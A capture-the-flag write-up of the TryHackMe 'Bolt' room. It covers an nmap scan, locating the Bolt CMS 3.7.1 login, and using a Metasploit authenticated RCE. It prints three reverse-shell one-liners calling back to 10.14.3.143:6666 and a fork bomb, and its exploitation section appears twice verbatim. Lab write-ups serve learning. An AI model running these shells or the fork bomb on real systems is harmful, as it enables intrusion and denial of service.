# TryHackMe-Bolt
> Abdullah Rizwan | 2:42 PM | 1st November , 2020
## NMAP
```
Nmap scan report for 10.10.241.83
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:85:ec:54:f2:01:b1:94:40:de:42:e8:21:97:20:80 (RSA)
| 256 77:c7:c1:ae:31:41:21:e4:93:0e:9a:dd:0b:29:e1:ff (ECDSA)
|_ 256 07:05:43:46:9d:b2:3e:f0:4d:69:67:e4:91:d3:d3:7f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8000/tcp open http (PHP 7.2.32-1)
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Date: Sun, 01 Nov 2020 09:48:10 GMT
| Connection: close
| X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
| Cache-Control: private, must-revalidate
| Date: Sun, 01 Nov 2020 09:48:10 GMT
| Content-Type: text/html; charset=UTF-8
| pragma: no-cache
| expires: -1
| X-Debug-Token: 37c7d1
|
|
|
|
|
| Bolt | A hero is unleashed
|
|
|
|
|
|
| href="#main-content" class="vis
| GetRequest:
| HTTP/1.0 200 OK
| Date: Sun, 01 Nov 2020 09:48:10 GMT
| Connection: close
| X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
| Cache-Control: public, s-maxage=600
| Date: Sun, 01 Nov 2020 09:48:10 GMT
| Content-Type: text/html; charset=UTF-8
| X-Debug-Token: 970304
|
|
|
|
|
| Bolt | A hero is unleashed
|
|
|
|
|
|
|_
|_http-generator: Bolt
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Bolt | A hero is unleashed
service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin
submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=11/1%Time=5F9E845A%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,29E1,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Sun,\x2001\x20Nov\x20
SF:2020\x2009:48:10\x20GMT\r\nConnection:\x20close\r\nX-Powered-By:\x20PHP
SF:/7\.2\.32-1\+ubuntu18\.04\.1\+deb\.sury\.org\+1\r\nCache-Control:\x20pu
SF:blic,\x20s-maxage=600\r\nDate:\x20Sun,\x2001\x20Nov\x202020\x2009:48:10
SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nX-Debug-Toke
SF:n:\x20970304\r\n\r\n\n\n\x20\
SF:x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Bolt\x20\|\x20A
SF:\x20hero\x20is\x20unleashed\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20
SF:\x20\x20\t\n\x20\x20\x2
SF:0\x20\t\
SF:n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\n\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20Bolt\x20\|\x20A\x20hero\x20is\x20unleashed\n\x2
SF:x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20Bolt\x20\|\x20A\x20hero\x20is\x20unleashed\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\n\x20\x20\x20\x20\t\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20
There exists a login page in bolt cms , I had to google that what is the page name of the login and it is `/bolt`
Login to the cms
Here on bottom left you can bolt cms version which is `Bolt 3.7.1`
## Searchsploit
Now search for any exploit available for `bolt cms`
This exploit stands out perferctly because this authenticated RCE and we have the creds
## Metasploit
Let's look at metasplolit too , for that I tired using `search bolt` but no results came up ,then tried `search cms` a lot of cms exploits results came up
So now it doesn't matter which exploit you use either metasploit or exploit-db but in this case since we are following what the rooms we are going to go with
`metasploit`
Configure the exploit
We will have a session created
If you wish to have a stabilize shell , run a reverse shell command to get a stablize shell , set a listener and try one these reverse shells
```
bash -i >& /dev/tcp/10.14.3.143/6666 0>&1
nc -e /bin/sh 10.14.3.143 6666
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.3.143 6666 >/tmp/f
```
Only the unix version of netcat reverse shell worked
## ForkBomb
`:() { :|:& };: &`
There exists a login page in bolt cms , I had to google that what is the page name of the login and it is `/bolt`
Login to the cms
Here on bottom left you can bolt cms version which is `Bolt 3.7.1`
## Searchsploit
Now search for any exploit available for `bolt cms`
This exploit stands out perferctly because this authenticated RCE and we have the creds
## Metasploit
Let's look at metasplolit too , for that I tired using `search bolt` but no results came up ,then tried `search cms` a lot of cms exploits results came up
So now it doesn't matter which exploit you use either metasploit or exploit-db but in this case since we are following what the rooms we are going to go with
`metasploit`
Configure the exploit
We will have a session created
If you wish to have a stabilize shell , run a reverse shell command to get a stablize shell , set a listener and try one these reverse shells
```
bash -i >& /dev/tcp/10.14.3.143/6666 0>&1
nc -e /bin/sh 10.14.3.143 6666
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.3.143 6666 >/tmp/f
```
Only the unix version of netcat reverse shell worked
## ForkBomb
`:() { :|:& };: &`
